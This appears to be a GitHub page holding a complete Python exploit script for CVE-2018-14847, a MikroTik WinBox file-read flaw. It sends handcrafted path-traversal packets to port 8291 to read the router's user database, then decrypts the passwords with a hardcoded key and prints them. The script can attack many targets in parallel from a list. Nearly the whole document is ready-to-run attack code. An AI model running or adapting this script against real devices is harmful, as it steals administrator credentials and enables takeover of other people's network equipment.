-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2018-14847.py
154 lines (136 loc) · 6.87 KB
/
CVE-2018-14847.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#!/usr/bin/env python3
import socket
import hashlib
import argparse
from typing import Tuple, Set
from rich.console import Console
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed
console = Console()
def ascii_art():
console.print("[bold bright_yellow] ______ _______ ____ ___ _ ___ _ _ _ ___ _ _ _____[/bold bright_yellow]")
console.print("[bold bright_yellow] / ___\ \ / / ____| |___ \ / _ \/ |( _ ) / | || | ( _ )| || |___ |[/bold bright_yellow]")
console.print("[bold bright_yellow]| | \ \ / /| _| _____ __) | | | | |/ _ \ _____| | || |_ / _ \| || |_ / /[/bold bright_yellow]")
console.print("[bold bright_yellow]| |___ \ V / | |__|_____/ __/| |_| | | (_) |_____| |__ _| (_) |__ _/ /[/bold bright_yellow]")
console.print("[bold bright_yellow] \____| \_/ |_____| |_____|\___/|_|\___/ |_| |_| \___/ |_|/_/[/bold bright_yellow]")
print("")
print("Coded By: K3ysTr0K3R")
print("")
class MikrotikWinboxExploit:
def __init__(self, target_ip: str = None, target_port: int = 8291, target_file: str = None):
self.target_ip = target_ip
self.target_port = target_port
self.target_file = target_file
def _exploit(self):
init_pkt = self._forge_init_pkt()
file_req_pkt = self._forge_file_req_pkt()
try:
with socket.create_connection((self.target_ip, self.target_port), timeout=3) as s:
s.sendall(init_pkt)
response = bytearray(s.recv(1024))
session_id = response[38]
file_req_pkt[19] = session_id
s.sendall(file_req_pkt)
response = bytearray(s.recv(1024))
if len(response[55:]) > 25:
self._extract_credentials(response[55:])
except socket.timeout:
pass
except (socket.error, ConnectionRefusedError):
pass
except Exception:
pass
def _forge_init_pkt(self) -> bytearray:
init_pkt = bytearray([
0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00
])
return init_pkt
def _forge_file_req_pkt(self) -> bytearray:
file_req_pkt = bytearray([
0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00
])
return file_req_pkt
def _decrypt_pwd(self, usr: bytes, pwd_enc: bytes) -> str:
key = hashlib.md5(usr + b"283i4jfkai3389").digest()
pwd = "".join([chr(pwd_enc[i] ^ key[i % len(key)]) for i in range(len(pwd_enc))])
return pwd.split("\x00")[0]
def _extract_creds_from_entry(self, entry: bytes) -> Tuple[str, str]:
usr_data = entry.split(b"\x01\x00\x00\x21")[1]
pwd_data = entry.split(b"\x11\x00\x00\x21")[1]
usr_len = usr_data[0]
pwd_len = pwd_data[0]
usr = usr_data[1:1 + usr_len].decode("utf-8", "backslashreplace")
pwd = self._decrypt_pwd(usr_data[1:1 + usr_len], pwd_data[1:1 + pwd_len])
return usr, pwd
def _get_creds(self, data: bytes) -> Set[Tuple[str, str]]:
creds_list = set()
entries = data.split(b"M2")[1:]
for entry in entries:
try:
usr, pwd_plain = self._extract_creds_from_entry(entry)
creds_list.add((usr, pwd_plain))
except Exception:
continue
return creds_list
def _extract_credentials(self, data: bytes):
credentials = self._get_creds(data)
for user, passw in credentials:
console.print(f"[green][+][/green] Target {self.target_ip.ljust(14)} | Credentials Gathered | Username: [bold cyan]{user.ljust(19)}[/bold cyan] | Password: [bold cyan]{passw}[/bold cyan]")
def _scan_from_file(self, ip):
target_ip = ip.split(":")[0]
exploit = MikrotikWinboxExploit(target_ip=target_ip)
exploit._exploit()
def main(self):
ascii_art()
parser = argparse.ArgumentParser(description='A PoC exploit for CVE-2018-14847 - MikroTik WinBox Fileread')
parser.add_argument('-ip', '--target-ip', type=str, help='IP address to exploit.')
parser.add_argument('-f', '--file', type=str, help='File containing targets to exploit.')
parser.add_argument('-t', '--threads', type=int, default=10, help='Adjust the amount of threads needed for the scan.')
args = parser.parse_args()
if args.file:
if args.target_ip:
console.print("[red]Error: Please provide either a target IP or a file, not both.[/red]")
else:
with open(args.file, "r") as ip_file:
ips = [ip.strip() for ip in ip_file]
num_targets = len(ips)
if not ips:
return
console.print(f"[yellow][!][/yellow] Exploiting {num_targets} targets from [red]{args.file}[/red]")
print("")
with alive_bar(len(ips), title="Exploiting Targets", bar="smooth", enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=args.threads) as executor:
future_to_ip = {executor.submit(self._scan_from_file, ip): ip for ip in ips}
for future in as_completed(future_to_ip):
future.result()
bar()
elif args.target_ip:
console.print(f"[yellow][!][/yellow] Exploiting {args.target_ip}:8291")
print("")
exploit = MikrotikWinboxExploit(target_ip=args.target_ip)
exploit._exploit()
else:
console.print("[red]Error: Please provide either a target IP or a file to proceed.[/red]")
if __name__ == "__main__":
exploit = MikrotikWinboxExploit()
exploit.main()